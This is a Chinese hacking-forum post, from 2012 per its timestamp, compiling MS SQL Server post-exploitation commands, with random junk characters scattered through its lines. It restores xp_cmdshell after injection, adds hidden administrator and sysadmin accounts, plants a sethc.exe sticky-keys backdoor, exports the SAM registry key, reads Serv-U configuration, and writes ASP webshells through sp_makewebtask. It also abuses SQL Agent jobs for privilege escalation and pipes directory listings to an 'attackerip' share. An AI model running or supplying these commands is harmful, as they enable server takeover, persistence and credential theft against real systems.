找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2682|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
7 z& D7 i$ }! y恢复方法:查询分离器连接后,
* ^/ P$ g  `2 z& X第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int # O/ |( v( L! h% Z
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
5 K( ?9 v7 E; h; N! N6 D然后按F5键命令执行完毕
* F8 I8 F0 d, d9 |" F% u( U
$ ]# Y0 m4 L8 {3 ]2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)6 w( Z! }3 r( l1 u; n$ ~9 \1 h$ I
恢复方法:查询分离器连接后,
, d- W" Q1 s( P2 L- Z) S第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"' q8 s" _5 ?/ G& L: G, J9 V
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
- Z! m8 S' D" f' f然后按F5键命令执行完毕
( t3 d+ |& i, g9 o* }/ D7 s9 I
1 D5 F& R# m% m3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)/ O4 S! Q# }4 s) i! f
恢复方法:查询分离器连接后,
  S/ t, r, _4 S5 h% x+ C第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
1 b. P1 O5 c: s* Q8 x: q第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       / D8 B; Z. j/ d4 d( M: t
然后按F5键命令执行完毕
. `+ _9 B0 J/ R1 V9 A) K  X4 U( q$ `( n
4 终极方法., y5 Z. D  X  k4 ?* t, C8 f
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
5 R# P2 o3 v1 Y查询分离器连接后,
& x# m6 X8 v3 ?& @2 U) e' f2 I* G2000servser系统:; F# J( c; q, m8 _! Y% v
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'3 C0 p; v9 }# o( \3 R1 `0 N6 ^
" s! x8 G4 w9 o; [3 p
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add') d6 V% m& a( a. J1 x

% B3 _7 w7 q4 }' i5 ~( p& vxp或2003server系统:
' ?$ g/ E' ]! @( I/ h! z5 ?$ l
+ C0 R0 y0 B6 @: k* _# ldeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
0 P$ c, T5 H: q7 m/ I+ A# A* G, |1 e9 I. _# {9 j; i( x8 I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'0 M2 M7 i" V: a$ h0 k0 z
9 J3 W0 E1 f1 s8 x) j
. L$ e* p" ^* x: g+ k3 s5 k
五个SHIFT( p$ z) ?" s/ \5 _- z# i
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';' f! E4 N/ t8 \

% t* b8 a( \- A/ q* `6 \declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ) B% ~0 p- {/ \+ _3 K9 J% g% R
) S2 w( ~- i9 U. z+ z2 d7 S# @
xp_cmdshell执行命令另一种方法. G. }9 j4 s3 q9 T: [$ Y$ r
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
1 @5 ~7 e0 I) i/ ]( D+ v( B) o  O8 g' k2 S
判断存储扩展是否存在
8 v! z) `; f% tSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
0 A3 l' I) K0 E* R# ?返回结果为1就OK7 l; ~- ~1 y1 F6 e" u( a

) r/ k& g$ y8 A
* S3 f$ `& W$ }; R上传xplog70.dll恢复xp_cmdshell语句:
9 [6 ?. {/ Y- L5 |. I5 O& tsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'0 O- L- g  J/ m! Y5 C" |

% X" _% r# i+ G1 J; `! L( B否则上传xplog7.0.dll
, @4 Q4 T" v$ N  r/ eExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'9 c! J, ^; L! _& f% r6 q

( x+ m: p# ^& t/ v  X% w& |2 N! Y" {( q

+ k; Z* C. ^, R! G/ U首先开启沙盘模式:  w) {$ U1 p5 V5 C3 R" `
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1$ Y/ e+ {: S! |) w( O
4 L' P. N( W0 H! t
然后利用jet.oledb执行系统命令
6 x1 u7 q% v$ d0 R9 [2 v4 Yselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
3 P8 U# B2 L$ Y+ c返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
- j/ x5 D6 V7 ~* j- b' a5 k( ~9 c$ o, v

& h2 V# O; T, |$ l9 C% x$ p
7 `* C5 T" q; R% h& F2 Y恢复过程sp_addextendedproc 如下:
% |8 J* A& S& o# |# r& G2 U4 Y  hcreate procedure sp_addextendedproc --- 1996/08/30 20:13 5 N" k/ t0 X9 h4 S( L8 h4 S# h/ [
@functname nvarchar(517),/* (owner.)name of function to call */
9 w2 \2 H1 z4 Q' x- A@dllname varchar(255)/* name of DLL containing function */ 5 {6 @: T& z/ r4 M% ?) |/ @
as % f3 ]9 E" O; |$ \( e2 Q- ^
set implicit_transactions off # ^1 e7 `  I6 Q, s' i' r+ l
if @@trancount > 0 # W3 ^1 P8 a% i7 x; n2 z+ u
begin
$ ?+ t9 g1 u- L: u; v! X+ Z7 u: F8 _# Iraiserror(15002,-1,-1,'sp_addextendedproc')
4 q+ }" o6 T7 `- P8 `) ereturn (1)
9 u0 X  \6 U* |9 ]4 F( T" `6 oend 4 `0 x4 ~- ]! o$ P$ P- B
dbcc addextendedproc( @functname, @dllname) ( [. o& B3 S. G- J/ o$ {. q' h& a
return (0) -- sp_addextendedproc : f+ ?: _0 u/ N3 S. n3 H
GO
6 ?' G( E* t& \' R% r3 I7 Q8 @, z1 q1 l! p! b7 G3 i
6 ?. C! Z; E: d; c' N, Z

2 Z' L) M+ L# m- P- B/ U导出管理员密码文件
. k! t+ W) U2 m$ o# A4 ^! Lsa默认可以读sam键.应该。( A, j: T4 m8 ]& f
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg( ?0 m5 E4 {+ L; W: w9 |% w
net user administrator test
! n# i  n" L0 z; ^+ u用administrator登陆.
4 S, Q& M- @2 H5 \+ r用完机器后
2 t% J! G, N- s0 ]reg import c:\test.reg. A4 v' ^8 t( ~& j3 K  e3 L9 i2 {
根本不用克隆.( [2 E$ r7 I9 |2 V  Y5 m0 i
找到对应的sid.
0 A! W  r8 ]/ _5 Z- D: O& d) U! U; b6 ^5 T6 C1 Q
7 i5 j, y1 Z3 N. V) W# Z

+ m  p/ h5 `# }+ x恢复所有存储过程6 B/ c$ F7 w. m4 Z+ d" {9 ^+ t5 I
use master
0 g! E6 Y7 J4 L0 Y0 t! c( bexec sp_addextendedproc xp_enumgroups,'xplog70.dll' 5 J2 a! O- @# N' z' D, {. T
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
8 Z3 \& \2 s5 Y0 X7 Qexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
7 g  f- \. A! e# Q9 d! J6 rexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' / b3 ^5 m+ I% J% K: N# h! ?
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' * M' y0 z6 B: E1 x" a
exec sp_addextendedproc sp_OACreate,'odsole70.dll' 1 w/ `4 G; \4 R1 n
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 4 e3 E9 c4 \* Y5 T
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
/ F5 Z; {: ]: y+ I& ^+ P2 Yexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
0 x5 |$ J; g+ ?8 ^) U' _exec sp_addextendedproc sp_OAMethod,'odsole70.dll' + W% N) V( x# W% x) j; M1 S
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 0 w; @6 Z3 `6 ?9 Y( X$ U
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
9 X; a4 e1 T- z9 @( Q# A3 H# texec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 3 i7 T  k/ I( r% e
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' " E, Y5 W4 s4 T4 r2 J* t1 }4 V% x' u
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 5 U, p. u9 `- C) I. E
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
+ V! }  o7 |% A5 B6 ?exec sp_addextendedproc xp_regread,'xpstar.dll'   `6 [) ^: M8 E0 c5 t
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 1 {1 A% o( `' [9 D) p
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 2 D5 B$ i6 {- E) u9 T! E
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'9 o# T( J, R& @% Q) s

4 P1 I0 c) S* }$ r# C4 @! _, D2 A& O
建立读文件的存储过程
% z9 D0 t! n0 u% U! u7 _Create proc sp_readTextFile @filename sysname
0 [7 B0 J' G- ^2 mas- h8 @( f1 \% u* B7 }, U  u

7 ~" z" [- W) }( g1 W- O! ?, e! m4 X2 b    begin + u( ^0 ~2 @& A  c
    set nocount on
8 Q  \! _* Z- m, g& R; E. h    Create table #tempfile (line varchar(8000))1 {5 [5 z: N% O, t
    exec ('bulk insert #tempfile from "' + @filename + '"')7 V# _5 k  l- u$ t& b% F
    select * from #tempfile
* Q! D3 Z, U7 u+ |( Y    drop table #tempfile9 y: P1 T/ l2 m. e6 H' U
End7 u! t0 M. c5 ?1 p

3 b0 B: d% f2 V; Bexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
& }# f$ I0 K# h# j查看登录用户% x5 u2 N) N. t# X
Select * from sysxlogins; }. ^  k4 k& r6 ^" F# J

( E9 ^: U1 u# S$ t* w% T把文件内容读取到表中
9 q9 G& ]/ L0 UBULK INSERT tmp from "c:\test.txt": W6 K6 Z5 e; |4 ?
dElete from 表名 清理表里的内容
9 @4 B9 j: ?3 B: Dcreate table b_test(fn nvarchar(4000));建一个表,字段为fn+ p6 Z/ C1 q$ Y
* i- X+ P4 P1 j1 {: @, S) Z4 ~

: G. L8 A3 E/ B# z' h8 c, P# f加sa用户
% v* _1 k' X( }2 k2 P$ H8 bexec master.dbo.sp_addlogin user,pass;
1 S$ z5 D/ L  s* ]exec master.dbo.sp_addsrvrolemember user,sysadmin: o" a8 k3 W  H* |* ^

3 m: l/ w( c2 p% X! X  q, |" i# @

3 _% C9 ]- T$ K& M" W读文件代码
2 S$ d% j  R# w* n2 X! tdeclare @o int, @f int, @t int, @ret int
* m! x  C% u: A" L  i& J  Kdeclare @line varchar(8000)
: O& Y$ S8 l0 E+ zexec sp_oacreate 'scripting.filesystemobject', @o out
; c$ e( N2 B  D. Qexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 16 D2 b: N: M# x- u
exec @ret = sp_oamethod @f, 'readline', @line out
& Q: N9 I/ l, ^  a' ~1 Hwhile( @ret = 0 )% N) j/ S, x$ j; c  i) Z  M  m
begin
( q6 Y) |% _+ f' f, W2 H( g% gprint @line& m9 g( Y1 z2 h8 T! e+ ]
exec @ret = sp_oamethod @f, 'readline', @line out1 b" }( O' p- X8 n6 R3 E
end9 L4 ^0 E1 x. H
  h) O2 p5 Y% L  e0 i8 Z& q
0 C. G) b+ r4 g, Z/ Y5 {
写文件代码:6 y/ \) C6 T) Q$ o( X+ ~
declare @o int, @f int, @t int, @ret int, G1 x* E  D0 [! e2 ^( Q
exec sp_oacreate 'scripting.filesystemobject', @o out
3 E$ D( u7 G) f  P. O0 I. f: q# lexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
! R9 P3 Y8 j1 Q5 u$ T: rexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
/ z6 L& j- A5 s2 H' x7 L/ W1 S' w8 A5 u2 }

. N7 l4 O' m# o# C' T3 k添加lake2 shell# F% {; e% W- X% l0 I  b
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
1 Z: O8 _% v. m( |: A) f, W. v' Vsp_dropextendedproc xp_lake2( W6 ]( d1 `8 i$ C& d3 S1 W* ?
EXEC xp_lake2 'net user'
) B0 Q" o3 d- e  V  ^' N4 z; t/ \. C+ b7 L& Q
" g' D; M9 I% Q. a& `# V  D
得到硬盘文件信息
, w& }: h- p8 }! f8 f--参数说明:目录名,目录深度,是否显示文件 # G/ V& A# N3 M2 [' f5 u* ]) ?
execute master..xp_dirtree 'c:'
' _4 v3 k2 P7 x% R  ]$ Mexecute master..xp_dirtree 'c:',1
7 m) B9 p4 ~7 `5 w! F7 U( mexecute master..xp_dirtree 'c:',1,1 " e1 c1 H$ s. _
1 [# V2 B$ |# g/ x# M
, T$ d7 W$ v7 R2 H! d9 y
读serv-u配置信息
% T& |, n( A7 D  p, Dexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'5 _+ L5 o; {4 W* c( Q  ~
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'/ d6 e) x# B" I  K; P4 I
% I4 Y$ e0 _. N1 Y  d# R  n
通过xp_regwrite写SHIFT后门. \! L) C4 [- |- ~
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--1 c& z. L+ a1 K# ~3 h+ B, S2 R

: p: [' B& P' J! y! u5 ?
& i! O$ _7 F& `3 B6 j# n4 @  K7 ]
0 B: h" f) p  S7 C' H# ?6 t找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';; n; z1 C' x2 a! {& A' s# q
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
/ o8 j6 U5 F; a+ \& X4 B; \* d, Y. G- t/ y
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
8 X8 ~9 V; Q" m1 S) ]# u; g, g
' i# \4 a  u% K( F
. a) g2 Z1 n1 _2 l* i. ~$ q* c' i/ q' K8 |) ~
sql server 2005下开启xp_cmdshell的办法( N8 w3 m& z" I$ {

6 }% ?; f5 u, A$ XEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;1 U+ e2 ], }9 b8 `9 U$ x( l
8 c9 J. m) C% }3 a
SQL2005开启'OPENROWSET'支持的方法:6 @# `7 e4 O0 C
1 J2 X( ?# A6 t' J
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;  d& [& x, Y; L

9 c, n& \9 c% q( A6 RSQL2005开启'sp_oacreate'支持的方法:
( C) k; x3 e  O8 ^  k3 J+ M  o  H4 q
! _8 W5 }- U. y' r+ sexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;* o7 j" J6 Y* F& v
5 i4 F0 Z1 W8 {, w8 S& L

$ \& m9 h+ }! k5 y9 g3 K
% p2 h! b  v$ _- h9 I1 r9 u' \
) a4 D6 S% B# Y, t  b8 P; {
" Z* p8 ~$ B( ?0 U) X
! @7 ?4 A9 V3 R3 r* [! d. h9 @! Y' n; ~' K8 J2 K

% U- r: m. G8 A  X' v" i7 B
# ^3 t; R, m' U6 C* a1 u8 i; N, h, J9 ~

4 V3 M8 d, E9 `$ ]  ^# C7 Z# h! j' Y3 K, S. t9 E& Z4 Z/ ^

; m9 P5 @: R; \+ x" E& F) v% a% X( s1 w9 _
8 I4 T6 ~' D8 s5 ]8 a
) J4 `- ~8 w' |' `: H

$ k' z. B9 ?0 t2 Z+ X7 ^) S1 P4 b% d0 U
( {, R. q) s: N# U3 h  _. D

$ u+ V. _4 P/ |4 _! @- m& y5 ?9 b! C5 g/ y2 \

# U% X1 M* t/ R! f5 R% x$ @
0 _+ l( U% n, S) u1 ^
! t2 X( ^1 v5 s7 p: N' p8 L以下方面不知道能不能成功暂且留下研究哈:
7 f; x9 ]$ w& z7 j) q, {4)
( y# K: S$ f8 e2 t8 W; xuse msdb; --这儿不要是master哟0 w8 l( l" Z6 K3 t
exec sp_add_job @job_name= czy82 ;0 y4 W( Y; A- D: W& j' r: Y
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
1 @: k" ]7 X4 Y) X/ p+ R: uexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
2 v8 k) C0 _: D  T2 K8 jexec sp_start_job @job_name= czy82 ;) N) B( ^& x! L
8 G0 N0 `' E! g; x
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以- ]  i# {9 Y! ?: v2 d
执行tsql语句了.
$ r, T, ?' T4 C% \( J9 I, P. i! i对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
/ X  `2 B8 v( M1 h- _8 _第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
- z% C. P6 v- W. rnet start SQLSERVERAGENT8 ^% w% c4 ^8 g4 \' {; S

% g! P2 w# T0 E- C- I# y对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的$ O4 i( a/ U* `9 c8 w0 B3 D
USE msdb
7 D( k0 y8 O+ E  S6 m' f8 fEXEC sp_add_job @job_name = GetSystemOnSQL ,
% f. @7 O5 f+ [2 d8 O  g4 E" }@enabled = 1,
; `: U' Q+ K" Q; R( n; s% [@description = This will give a low privileged user access to
8 K- l( o, L! h; `xp_cmdshell ,8 m( e2 k# J+ U
@delete_level = 15 l3 i* @9 E+ Y4 J. j
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,' f2 c1 P: ?0 }
@step_name = Exec my sql ,& g9 m0 f0 e% q' m9 ?' ^5 [
@subsystem = TSQL ,# |, n9 f8 [" @4 R: _
@command = exec master..xp_execresultset N select exec
, G% @+ ?' i, G7 ?" rmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master / [* }, T6 w' @! E0 L
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
: O6 C4 D5 I/ ^7 s3 f5 I@server_name = 你的SQL的服务器名
! e: m$ }0 |* }" I# K$ I. tEXEC sp_start_job @job_name = GetSystemOnSQL : n  D: R/ o: B6 v
: m/ ]7 i' D! K/ w7 m) m
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
7 C1 c; h& M. p才让我们可以以public执行xp_cmdshell
8 k0 x6 @  B+ |9 o# l
$ ~' O6 I& J+ P: T( P) P5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)' V' |# v5 h: R/ {$ b
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968. u- x8 \% `0 P; o+ s: K& L. Y

) e" P( m6 n" Z6 CUSE msdb
% j! L3 N3 D6 K. g$ J$ p# q) xEXEC sp_add_job @job_name = ArbitraryFilecreate ,
, i: u% p$ H8 ?0 b$ ?& |@enabled = 1,' J5 F1 ?* h  @6 ~
@description = This will create a file called c:\sqlafc123.txt ,8 d6 k% }0 R. g6 U
@delete_level = 1
* _# O3 x# b; [& }6 pEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
  ~& `6 j0 q1 g. [& u0 L% {! u@step_name = SQLAFC ,
5 v' K4 {# ~# }$ M0 x@subsystem = TSQL ,
, m! V  p( Q% p+ Y2 P" }2 N) T@command = select hello, this file was created by the SQL Agent. ,
% a8 f/ }! y8 C@output_file_name = c:\sqlafc123.txt 8 ]1 K8 x9 _  k' `
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
* M8 g) N) p! [& ^7 T@server_name = SERVER_NAME
0 y2 P! x" b$ C# _EXEC sp_start_job @job_name = ArbitraryFilecreate ; U$ n9 v. a5 ~+ p% y- Y

2 Z$ N: H% d  _) t) c3 k. d如果subsystem选的是:tsql,在生成的文件的头部有如下内容
5 _6 W4 d* X4 A: p1 a1 Q2 }5 @* ~* K6 O( M  J
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
& f& I7 ~* l$ S7 t( X7 u" g----------------------------------------------
( L/ p8 H$ {# z/ _hello, this file was created by the SQL Agent.
, \. F! y! M/ f$ m0 @/ k0 }! a3 [  @9 J8 Q; P" m/ o/ D
(1 ?????)
6 @6 v; b1 q6 `! s! z
1 ^, O, n' H! T7 p; \& _所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员- S4 s* B/ _0 n/ V! z$ u" O- R
命令的vbs文件到启动目录!
$ f1 Z/ B3 x  _, e9 Q# K) B4 f
  H. ~5 p: j$ O3 z  N6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
8 i( e4 d. q8 q# L7 _/ `; p关于sp_MScopyscriptfile 看下面的例子8 B* \" t  D5 g' ?1 R6 ^
declare @command varchar(100) ) l$ ]8 e0 n7 N! m
declare @scripfile varchar(200) 0 g% M& f5 H: t) V4 E; M  u
set concat_null_yields_null off ( D! l& a; f1 `1 w3 G
select @command= dir c:\ > "\\attackerip\share\dir.txt"
" ^/ i# k4 I2 l! T1 {! o; xselect @scripfile= c:\autoexec.bat > nul" | @command | rd " 6 g2 b( c3 F( `$ @6 f$ o
exec sp_MScopyscriptfile @scripfile , - K4 ~: [1 l3 A( w$ m
- s# z" x: h' e; P: Q+ F
这两个东东都还在测试试哟3 S; d; D% _, J! D* J
让MSSQL的public用户得到一个本机的web shell9 P$ j2 R/ g  d; |
  z1 d& Q7 M8 P
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,# Q+ q- q' r1 V8 f1 ?! G7 A
--@query= select <img src=vbscript:msgbox(now())>
3 m' g# S" {, @3 y--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
1 }4 L5 \6 b- t! r1 r# x6 W@query= select ! B6 U1 k1 c; I
<%On Error Resume Next # Z/ s4 k  f3 a5 c" h3 D7 H9 h
Set oscript = Server.createObject("wscript.SHELL")
: d# E- t$ U2 r- d: d9 I& wSet oscriptNet = Server.createObject("wscript.NETWORK")
4 l; ?7 ^* X6 w# M, L3 HSet oFileSys = Server.createObject("scripting.FileSystemObject") 2 b! F4 [; g  X% y
szCMD = Request.Form(".CMD") 9 W# E/ j+ a  o. P0 c/ z( g+ ~
If (szCMD <>"")Then ; ]! b9 y) L6 Y# `- M4 [
szTempFile = "C:\" & oFileSys.GetTempName() ' L! X6 ^% L5 g2 W. M/ k1 ~
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
9 k1 u' z/ }7 y$ O3 `7 X' l, bSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
6 D  q9 Q+ a8 X9 c  J/ tEnd If %> & E4 B+ U1 W6 m
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
$ T: U7 B, e+ M. u" n: ?<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> 5 k7 `0 e, ^$ i  S" |) i' {/ m' F/ R+ I
</FORM><RE> ) ~. M$ O  G# l+ K
<% If (IsObject(oFile))Then
4 f0 C* ~) i% SOn Error Resume Next 1 `% \3 _# I5 ?3 G5 `0 x; {; V: n) d
Response.Write Server.HTMLEncode(oFile.ReadAll) 0 \3 L4 o4 n/ j+ d) T, _
oFile.Close 3 A5 ^6 a9 t' `4 ?% c7 z  ^; @
Call oFileSys.deleteFile(szTempFile, True)
! `- h: Z+ }, F$ n! }7 _2 i2 rEnd If%>
) f4 W0 E# t7 K4 y1 c. m3 V</BODY></HTML> 9 H" ~/ C" {% n& E$ }, I  e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表